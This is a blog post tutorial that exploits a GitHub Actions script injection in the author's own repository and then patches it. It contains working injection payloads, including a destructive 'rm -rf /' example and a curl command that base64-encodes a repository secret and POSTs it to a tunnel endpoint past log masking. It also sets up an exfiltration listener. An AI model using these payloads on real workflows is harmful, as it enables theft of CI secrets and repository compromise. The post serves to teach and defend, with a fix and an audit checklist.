Rabi Siddique
2542 words
13 minutes
Exploiting a GitHub Actions Script Injection (and Stealing a Secret)

This post is a step-by-step record of an exercise I did to understand script injection in GitHub Actions workflows. The whole experiment is run against my own repo and my own machine — nothing here targets anyone else’s infrastructure. The point is to see, with my own eyes, how a single string in a workflow input can run arbitrary code on a GitHub-hosted runner and leak a “private” secret out through the network, completely bypassing GitHub’s log masking.

By the end of this post you should be able to:

  • Recognize when a workflow is vulnerable to script injection.
  • Set up a tiny local server and a public tunnel to receive exfiltrated data.
  • Construct an injection payload by hand, and explain why every character is there.
  • Decode a base64 blob the runner sends you, and understand why we encoded it.
  • Patch the workflow with the standard fix and verify the patch holds.

I’ll walk through every command and every file. If you’ve never written a GitHub Actions workflow before, you should still be able to follow along.

1. Why this attack exists#

A GitHub Actions workflow is just a YAML file that describes a sequence of shell commands to run on a virtual machine that GitHub spins up for you. A typical step looks like this:

- name: Print the message
  run: |
    echo "User said: ${{ inputs.message }}"

That ${{ inputs.message }} is not a shell variable. It’s a template expression that GitHub evaluates before the shell ever sees the script. GitHub takes the value of inputs.message, copies it as plain text into the script, and then hands the result to bash.

So if inputs.message is hello, bash gets:

echo "User said: hello"

But if inputs.message is "; rm -rf / #, bash gets:

echo "User said: "; rm -rf / #"

That’s not an echo printing weird characters — that’s bash being asked to run a brand new command. The user’s input has crossed the line from data to code.

This bug class has its own name: GitHub Actions script injection. It’s the same shape as SQL injection or shell command injection, just with a YAML template engine in front of the shell instead of a programming language in front of a database.

2. The vulnerable workflow#

I created a fresh repo and added one workflow file at .github/workflows/log-input.yml:

name: Log Input

on:
  workflow_dispatch:
    inputs:
      message:
        description: 'Message to log'
        required: true
        default: 'hello'
        type: string

jobs:
  log:
    runs-on: ubuntu-latest
    steps:
      - name: Print the message
        run: |
          echo "User said: ${{ inputs.message }}"

A few things to notice:

  • on: workflow_dispatch makes the workflow runnable from the GitHub UI. There’s a “Run workflow” button on the Actions tab that asks me for message and then triggers a run. This is the simplest possible attacker-controlled input.
  • type: string does not sanitize the input. It just labels the form field. The string is still copied verbatim into the script.
  • ${{ inputs.message }} is sitting inside double quotes inside a run: block. That’s the textbook script-injection sink in GitHub Actions.

3. Setting up a server to receive proof of execution#

To prove the injection works, I need somewhere for the runner to send something to — an “exfil endpoint.” If a request shows up at my server with a path or body of my choosing, I know my injected code ran.

3.1. A tiny Express server#

In a fresh directory I created server.js:

import express from 'express';

const app = express();

// Treat any incoming body as plain text so we can print whatever shows up.
app.use(express.text({ type: '*/*' }));

app.all('*', (req, res) => {
  console.log(`\n[${req.method} ${req.path}]`);
  console.log('headers:', req.headers);
  if (req.body) console.log('body:', req.body);
  res.send('ok\n');
});

const port = 8000;
app.listen(port, () => console.log(`listening on http://localhost:${port}`));

And a matching package.json:

{
  "name": "exfil-listener",
  "private": true,
  "type": "module",
  "scripts": { "start": "node server.js" },
  "dependencies": { "express": "^4.21.0" }
}

Then:

npm install
npm start
# listening on http://localhost:8000

Why Express and not python3 -m http.server? Because the built-in Python server only logs the request line — it returns 501 Unsupported method for POST and discards the body without reading it. I learned that the hard way: I saw POSTs arrive with status 501, and the secret in the body was thrown away before I could see it. The Express server above accepts every method at every path, prints headers, and prints the body.

3.2. Exposing the server with localtunnel#

The server only listens on localhost:8000. The GitHub runner is on the public internet and can’t reach it directly. I need a tunnel — a service that gives me a public URL and forwards every request hitting that URL to my local port.

There are several options (ngrok, Cloudflare Tunnel, bore, serveo). I used localtunnel because it needs no signup:

npx localtunnel --port 8000
# your url is: https://blue-peas-play.loca.lt

That URL stays live as long as the command is running. Anything that hits https://blue-peas-play.loca.lt/whatever arrives at my Express server as if it had been requested directly.

Quick sanity check from another terminal:

curl -X POST -d "ping" https://blue-peas-play.loca.lt/test

The Express terminal showed:

[POST /test]
headers: { ... }
body: ping

Good. End-to-end plumbing works. Now I have a public, body-capturing endpoint to point my injection at.

Note on localtunnel: when a browser visits the URL, localtunnel shows a click-through interstitial as anti-abuse. curl requests with a non-browser User-Agent skip the interstitial entirely, which is exactly what the GitHub runner sends.

4. The first injection: a smoke test#

Before stealing anything, I want to confirm that the runner will execute anything I tell it to. The simplest possible test: make the runner request a unique path on my server. If I see that path in my Express log, code execution is proven.

I went to my repo on GitHub → Actions tab → Log Input workflow → Run workflow, and pasted this into the message field:

"; curl https://blue-peas-play.loca.lt/PWNED #

Within about 30 seconds, my Express terminal printed:

[GET /PWNED]
headers: { 'x-forwarded-for': '20.127.238.129', ... }

That 20.127.238.129 is an Azure IP — a GitHub-hosted runner reaching out to my laptop. The injection worked.

But why does the payload look like that? Why the leading "; and the trailing #? This part is the most important thing to internalize, so let’s slow down.

5. Understanding the payload character by character#

The vulnerable line is:

run: |
  echo "User said: ${{ inputs.message }}"

GitHub does a textual substitution of ${{ inputs.message }} before the shell runs. Whatever string I type into the form gets dropped in place of ${{ inputs.message }}, and the resulting text is what bash actually executes.

That means I’m not writing a string. I’m writing shell source code that has to slot into a hole in someone else’s shell source code. The characters before the hole are fixed (echo "User said:) and the characters after the hole are fixed ("). My job is to write a payload that, when dropped into the hole, produces a syntactically valid bash script that runs my command.

Here’s the payload again:

"; curl https://blue-peas-play.loca.lt/PWNED #

After substitution, bash receives:

echo "User said: "; curl https://blue-peas-play.loca.lt/PWNED #"

Let’s break that into pieces:

PieceWhat it does
" (first char of payload)Closes the open "User said: string. Now echo "User said: " is a complete, well-formed command.
;Ends the echo statement. Bash treats ; as a statement separator, so a new command can follow.
curl https://.../PWNEDMy command. This is what I actually wanted to run.
(a space)Just whitespace, separates my command from the comment.
#Starts a shell comment. Everything from # to the end of the line is ignored by bash.
" (the workflow’s trailing quote)Was hardcoded in the YAML right after ${{ inputs.message }}. Without my #, this leftover " would start a new unterminated string and bash would error out. With my #, it’s inside a comment and harmless.

So the three jobs of the payload are:

  1. Get out of the string. I’m in the middle of a quoted argument to echo; I have to close that quote.
  2. Get into command position. A ; (or a literal newline) tells bash “new statement starts here.”
  3. Neutralize whatever comes after. The YAML has a trailing " that I can’t change. A # comment swallows it.

Once you see those three jobs, you can write your own payloads in seconds.

5.1. A simpler payload: command substitution#

There’s an even slicker version that doesn’t require closing the quote at all:

$(curl https://blue-peas-play.loca.lt/clean)

After substitution:

echo "User said: $(curl https://blue-peas-play.loca.lt/clean)"

Bash’s $(...) runs inside a double-quoted string. The shell will execute curl first, replace $(...) with whatever curl prints to stdout, and then run the resulting echo. The curl request still goes out — that’s the whole point — and there’s no quote-breaking needed. Same RCE, less syntax fighting.

5.2. Payload via newline#

Another way out of the string is a literal newline. If I press Enter while typing in the GitHub input form, the message value contains a newline. After substitution, the script becomes:

echo "User said: hello
curl https://blue-peas-play.loca.lt/PWNED"

…which bash splits into two lines. The first line is a malformed echo (still has an open quote), but bash will keep reading until it finds the closing " — which is on the second line, after my curl. In practice this is messier than it sounds, so I prefer the "; form or $(...).

6. Stealing a real secret#

Smoke test passed: code runs. The next question is “so what?” — what can the injected code reach? The most interesting thing in any CI environment is secrets, and GitHub Actions has an explicit secrets store.

6.1. Adding a fake secret#

In the repo settings: Settings → Secrets and variables → Actions → New repository secret, I created a secret named PRIVATE_MNEMONIC with the value rabi is awesome. (In a real codebase this might be an API key, a deploy token, or — yes — a wallet mnemonic.)

Secrets are not exposed to a workflow automatically. The workflow has to opt in by referencing them. So I updated the step to wire PRIVATE_MNEMONIC into the step’s environment:

- name: Print the message
  env:
    PRIVATE_MNEMONIC: ${{ secrets.PRIVATE_MNEMONIC }}
  run: |
    echo "User said: ${{ inputs.message }}"

This is a realistic shape — most workflows expose secrets to a step via env: because that’s the convenient way to use them.

6.2. Why I have to base64-encode the secret#

GitHub does one defensive thing for secrets: it automatically masks them in the workflow log. If my injected curl printed the secret to stdout, the GitHub UI would show *** instead of the real value.

But masking is a log-only feature. It rewrites strings in the rendered job log before showing it to humans. It does not intercept network traffic, file writes, or process arguments. The runner can still send the secret out over HTTP — masking just hides the fact that it did so from the log viewer.

There’s a related catch though: if I send the secret as the literal string in the body of a curl request, and the request URL or headers also get logged, masking could still kick in on the log line that records the curl command. To sidestep masking entirely, I encode the secret first. The base64-encoded form cmFiaSBpcyBhd2Vzb21l doesn’t match the literal rabi is awesome, so the masker has nothing to match.

The exfiltration payload:

"; curl -X POST -d "$(printf %s "$PRIVATE_MNEMONIC" | base64 -w0)" https://blue-peas-play.loca.lt/secret #

After substitution, bash runs:

echo "User said: "; curl -X POST -d "$(printf %s "$PRIVATE_MNEMONIC" | base64 -w0)" https://blue-peas-play.loca.lt/secret #"

Let me unpack the inner pieces:

  • printf %s "$PRIVATE_MNEMONIC" — prints the secret value with no trailing newline (unlike echo, which would add one and pollute the base64 output).
  • | base64 -w0 — base64-encodes it with no line wrapping (-w0), so the entire encoded value is one line.
  • $(...) — captures that encoded string and substitutes it as the body of curl’s -d argument.
  • curl -X POST -d "..." https://.../secret — sends a POST with the encoded secret in the body.

6.3. The hit#

When I triggered the workflow with that payload, my Express terminal showed:

[POST /secret]
headers: {
  'x-forwarded-for': '20.127.238.129',
  'content-type': 'application/x-www-form-urlencoded',
  'content-length': '20',
  'user-agent': 'curl/8.5.0',
  ...
}
body: cmFiaSBpcyBhd2Vzb21l

Decoding on my laptop:

echo 'cmFiaSBpcyBhd2Vzb21l' | base64 -d
# rabi is awesome

The “private” mnemonic just travelled: GitHub Secrets store → runner env → curl → loca.lt → my laptop. Through GitHub’s log masking. Undetected from the log viewer’s perspective.

7. Three lessons crystallized#

  1. ${{ ... }} inside run: is code, not data. GitHub substitutes the expression as plain text into your script before bash runs. Any ' " ; $() or backtick in the value becomes shell syntax. There is no escaping at this layer.
  2. Log masking is not a security boundary. It only rewrites the rendered log. The secret still exists in environment variables, in process arguments, and in any data the workflow chooses to send anywhere. A determined exfil works around it trivially with encoding.
  3. Any secret in env: is reachable by any injection in the same job. Once PRIVATE_MNEMONIC is in the step’s env, it doesn’t matter that the injection point was a different variable — bash can read every env var it has access to. Scope secrets to the smallest possible step, and only when actually needed.

8. The fix#

The standard fix is environment variable indirection. Don’t paste ${{ ... }} directly into a run: script. Bind it to an environment variable in the step’s env:, then reference it as a normal shell variable:

- name: Print the message
  env:
    PRIVATE_MNEMONIC: ${{ secrets.PRIVATE_MNEMONIC }}
    MSG: ${{ inputs.message }}
  run: echo "User said: $MSG"

What changed:

  • ${{ inputs.message }} is no longer in the run: script. It lives in env:, where GitHub passes it to the runner as a real environment variable. The shell never sees it as source code.
  • $MSG in the run: script is a regular bash variable. Bash expands it after parsing the script, and bash’s variable expansion does not re-parse the value as shell code. Quotes, semicolons, and $() inside $MSG are preserved as literal characters.

Re-running the same payload after the fix, the workflow log shows:

User said: "; curl -X POST -d "$(printf %s "$PRIVATE_MNEMONIC" | base64 -w0)" https://blue-peas-play.loca.lt/secret #

…printed as a literal string. No request hits my server. The injection is dead.

9. Where to go from here#

workflow_dispatch is the easiest variant to study because I’m the attacker pressing the button. The genuinely scary variants in the wild are the ones where untrusted users can trigger workflows without any auth:

  • pull_request_target + untrusted PR data. A PR title, body, branch name, or commit message becomes the ${{ ... }} value. Any contributor (or stranger, on public repos) can supply it.
  • issues and issue_comment events — same shape, with issue titles and comment bodies as the input.
  • Untrusted ref checkout. Combining pull_request_target with actions/checkout of the PR’s ref gives the PR’s code privileged access to the base repo’s secrets — a different but related class of bug.
  • Third-party action pinning. uses: foo/bar@main lets the maintainer of foo/bar change the code under you between runs. Pin to a commit SHA, not a tag or branch.

The good news: the fix is the same shape every time. Treat ${{ ... }} as a value to bind into env, never as source code to paste into a script.

10. A short checklist#

When reviewing a workflow:

  • Search for ${{ inside run: blocks. Each hit is a potential injection. Move it to env: and reference as $VAR.
  • Check what triggers the workflow. Anything with attacker-controllable text (pull_request_target, issues, issue_comment, workflow_dispatch with public access) is high-risk.
  • Audit which steps see which secrets via env:. Narrow the scope.
  • Pin third-party actions to commit SHAs.
  • Don’t rely on log masking for any property except hiding the secret from a casual log reader.

That’s it. One YAML file, one Express server, one tunnel, two payloads — and a much more concrete sense of what “script injection in CI” actually means.

Exploiting a GitHub Actions Script Injection (and Stealing a Secret)
https://rabisiddique.com/posts/github-actions-script-injection/
Author
Rabi Siddique
Published at
2026-05-01